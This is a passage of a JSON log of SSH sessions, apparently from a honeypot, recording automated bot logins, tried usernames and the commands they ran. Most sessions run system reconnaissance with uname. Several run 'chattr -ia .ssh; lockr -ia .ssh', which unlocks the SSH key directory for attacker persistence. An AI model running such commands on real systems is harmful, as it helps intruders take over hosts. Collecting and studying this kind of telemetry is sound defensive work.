  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5efd8a80-f1d4-456f-a13a-02575a2a396f",
  "name": "prickly-genial-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33448,
  "username": "onkar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:33:44.779996+00:00",
  "ended_at": "2026-08-26T12:33:49.445802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d0a9a0d-8c28-479a-9114-9f642fd86ea8",
  "name": "thawing-crimson-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33412,
  "username": "grid",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:33:43.143123+00:00",
  "ended_at": "2026-08-26T12:33:48.501014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "046bd675-e3b1-44f4-b6c7-52539d3155cd",
  "name": "quaint-breezy-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37822,
  "username": "onkar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 588,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:33:38.178594+00:00",
  "ended_at": "2026-08-26T12:33:49.447049+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "1d162ea3-6c84-4094-94a0-8bb4707d7982",
  "name": "velvet-breezy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32880,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:33:38.034617+00:00",
  "ended_at": "2026-08-26T12:33:43.510316+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47d6040d-2754-4af9-8c4e-98ce1e7b924f",
  "name": "kindly-scarlet-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55206,
  "username": "grid",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 538,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:33:37.776677+00:00",
  "ended_at": "2026-08-26T12:33:48.503353+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "46d7b808-6a39-4278-b1a6-f4c0158c2b60",
  "name": "early-honest-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48540,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:33:04.018362+00:00",
  "ended_at": "2026-08-26T12:33:08.013458+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a3a91585-16db-40ef-9925-6393c88d998a",
  "name": "inland-tender-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60120,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 619,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:52.418893+00:00",
  "ended_at": "2026-08-26T12:32:57.846356+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fcce9d3b-af95-4781-a9e6-c0a967fd9e22",
  "name": "inland-loyal-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44108,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:32:46.125753+00:00",
  "ended_at": "2026-08-26T12:32:52.888466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3da56c8f-177e-4522-bb95-a5b6159910a6",
  "name": "coastal-languid-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50318,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:43.580563+00:00",
  "ended_at": "2026-08-26T12:32:47.479154+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8583357-8237-4c7f-9d4b-ed9e73568ef2",
  "name": "earnest-sleepy-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52786,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:40.627710+00:00",
  "ended_at": "2026-08-26T12:32:52.889725+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "fd5e73d9-7a6d-480d-a664-5af3f8f8537f",
  "name": "merry-umber-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 810,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:22.007883+00:00",
  "ended_at": "2026-08-26T12:32:26.772328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bd9a574-5387-4274-9834-4f4541d22e98",
  "name": "autumn-craggy-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38896,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:07.981502+00:00",
  "ended_at": "2026-08-26T12:32:13.345012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2a84fec-ef58-4995-9d99-f1c38c189195",
  "name": "stoic-upland-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60150,
  "username": "data",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:32:02.456735+00:00",
  "ended_at": "2026-08-26T12:32:09.604714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae491ee0-d2ff-4c15-9e3f-4d6af1a3fbef",
  "name": "mellow-blunt-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58214,
  "username": "data",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:58.025661+00:00",
  "ended_at": "2026-08-26T12:32:09.603398+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "eb27f786-f25a-4b14-851a-9c3d83201752",
  "name": "russet-granite-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47094,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:31:47.892818+00:00",
  "ended_at": "2026-08-26T12:31:49.654955+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "31d0c0da-6d88-46f4-b8d4-cd3bc20814ca",
  "name": "rapid-bronzed-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:41.513745+00:00",
  "ended_at": "2026-08-26T12:31:45.468012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65159989-e694-47cb-958b-e59d3b97e3fc",
  "name": "steady-bold-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:31:25.196560+00:00",
  "ended_at": "2026-08-26T12:31:26.212890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24af917c-c975-4918-8dbb-68656cac4acc",
  "name": "stormy-regal-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:21.687116+00:00",
  "ended_at": "2026-08-26T12:31:24.420390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9310dd9b-f5bc-4cc7-bf2f-d55a4c95e668",
  "name": "spirited-marbled-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47104,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:31:21.563279+00:00",
  "ended_at": "2026-08-26T12:31:23.396839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae495d57-1619-4d1b-837e-ed6f79a3032f",
  "name": "western-meadow-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60148,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:08.830436+00:00",
  "ended_at": "2026-08-26T12:31:12.688577+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b205b331-9a37-45cc-b540-e6b801f5052d",
  "name": "jaunty-somber-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:00.796929+00:00",
  "ended_at": "2026-08-26T12:31:05.052950+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76ba821f-fa78-4d90-946f-9570d116e851",
  "name": "smoky-sooty-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49616,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:30:53.613215+00:00",
  "ended_at": "2026-08-26T12:30:58.228877+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2377aa38-65f1-4767-a2a9-9af1df0722db",
  "name": "burly-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37600,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:30:50.609074+00:00",
  "ended_at": "2026-08-26T12:30:54.950852+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4f2fe28-462e-438a-aa3f-5d0a9cad4bd6",
  "name": "shaded-freckled-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.23.3.146",
  "src_port": 52534,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:30:37.350336+00:00",
  "ended_at": "2026-08-26T12:30:38.889002+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc7f3462-041d-4207-a0a6-875d1046d1f8",
  "name": "graceful-arctic-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42194,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:30:35.669510+00:00",
  "ended_at": "2026-08-26T12:30:39.290070+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9b859a63-4a67-4e6d-8a12-e35d35a44865",
  "name": "curious-austere-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35038,
  "username": "omm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:30:34.692230+00:00",
  "ended_at": "2026-08-26T12:30:39.912346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90fb8877-0bf3-4cc4-a50b-e76bfb7b11a1",
  "name": "marbled-bold-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44028,
  "username": "omm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:30:27.521198+00:00",
  "ended_at": "2026-08-26T12:30:39.913642+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "f92a20f8-bacd-433c-a97b-dd69ce4b109f",
  "name": "icy-misty-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54854,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:30:04.109721+00:00",
  "ended_at": "2026-08-26T12:30:11.580727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "466601e1-e380-4e9f-b1ad-677d4f9558c2",
  "name": "smoky-nautical-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49362,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:30:04.061016+00:00",
  "ended_at": "2026-08-26T12:30:09.825591+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7a5034bc-439b-4bb8-815c-de3e09f99260",
  "name": "glassy-fringed-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42706,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 653,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:29:58.265661+00:00",
  "ended_at": "2026-08-26T12:30:11.579094+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "21a4eb62-cb46-4420-baf8-d27832fa25f0",
  "name": "salty-zealous-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37640,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:29:55.631275+00:00",
  "ended_at": "2026-08-26T12:30:04.313071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca3706ef-de3d-4174-baee-98177a4a0e73",
  "name": "woven-drifting-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59792,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:29:50.881684+00:00",
  "ended_at": "2026-08-26T12:30:04.314080+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "83c25fe4-4f5d-4318-83e2-a81b35fa1d0e",
  "name": "mindful-loyal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42110,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:29:30.609076+00:00",
  "ended_at": "2026-08-26T12:29:34.925147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2714e3e-9b32-4db6-a58a-b0d518f20498",
  "name": "inland-jagged-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59512,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 557,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:29:27.160926+00:00",
  "ended_at": "2026-08-26T12:29:34.926662+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "b18350d8-8a7f-4759-917e-f5aab7ee07cc",
  "name": "chilly-humble-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40384,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 374,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:29:26.677158+00:00",
  "ended_at": "2026-08-26T12:29:30.934386+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14907904-df17-41fe-8e29-34189c81ddc2",
  "name": "jovial-quaint-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 39358,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:29:23.397709+00:00",
  "ended_at": "2026-08-26T12:29:24.368360+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "89986e3e-216d-4d75-9c8e-b6a2968ba795",
  "name": "rustic-spirited-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36248,
  "username": "opc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:29:00.664503+00:00",
  "ended_at": "2026-08-26T12:29:05.919965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b471a8a-00a5-4b90-adbc-96c53360782a",
  "name": "solemn-kindly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47770,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:59.542013+00:00",
  "ended_at": "2026-08-26T12:29:03.975141+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "83c1f362-6885-4459-ba37-75cbbef41b55",
  "name": "gloomy-oaken-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56464,
  "username": "opc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:55.423314+00:00",
  "ended_at": "2026-08-26T12:29:05.920944+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0d06f611-316d-4998-9197-dca43e2f1d03",
  "name": "autumn-gleaming-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 879,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:28:54.695359+00:00",
  "ended_at": "2026-08-26T12:28:56.430434+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0f1475b4-4e81-45da-a161-ce242f031ac4",
  "name": "gallant-hardy-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42694,
  "username": "lucas",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:45.492067+00:00",
  "ended_at": "2026-08-26T12:28:53.064576+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09a1ec01-e24c-4e5a-992e-1d1d887db446",
  "name": "coastal-airy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51534,
  "username": "lucas",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 597,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:38.175632+00:00",
  "ended_at": "2026-08-26T12:28:53.063079+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "0a5f334f-57bf-4ae9-bc1c-8ab9b76340be",
  "name": "foggy-balmy-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:30.994825+00:00",
  "ended_at": "2026-08-26T12:28:32.852397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ad0da72-71fd-4181-b77b-3836a585bc76",
  "name": "sandy-weathered-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:27.791830+00:00",
  "ended_at": "2026-08-26T12:28:29.224988+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f24662f-ae85-4035-ba58-abfbbbef57ae",
  "name": "fickle-gloomy-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45060,
  "username": "rancher",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:27.098339+00:00",
  "ended_at": "2026-08-26T12:28:31.403180+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a5a64c4-10c3-4dab-b3af-33cd01fcedec",
  "name": "earnest-lawful-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "64.89.161.91",
  "src_port": 43728,
  "username": "telecomadmin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:25.985513+00:00",
  "ended_at": "2026-08-26T12:28:26.423277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f84cbe68-2068-4629-92ba-004970f795c5",
  "name": "indigo-hidden-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55782,
  "username": "rancher",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:22.013242+00:00",
  "ended_at": "2026-08-26T12:28:31.404658+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "563a0e25-b132-479e-b00f-07260f125ec8",
  "name": "plush-jovial-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47802,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:10.000788+00:00",
  "ended_at": "2026-08-26T12:28:13.569118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40981d5b-430b-45b5-ab30-f6ec2373b500",
  "name": "thorny-chilly-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:05.825502+00:00",
  "ended_at": "2026-08-26T12:28:08.793615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2def5477-2bbd-444c-a7fc-414d7be9b174",
  "name": "gentle-misty-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46826,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:05.562927+00:00",
  "ended_at": "2026-08-26T12:28:13.567536+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8eebb20c-4338-4603-966f-79fc086c2698",
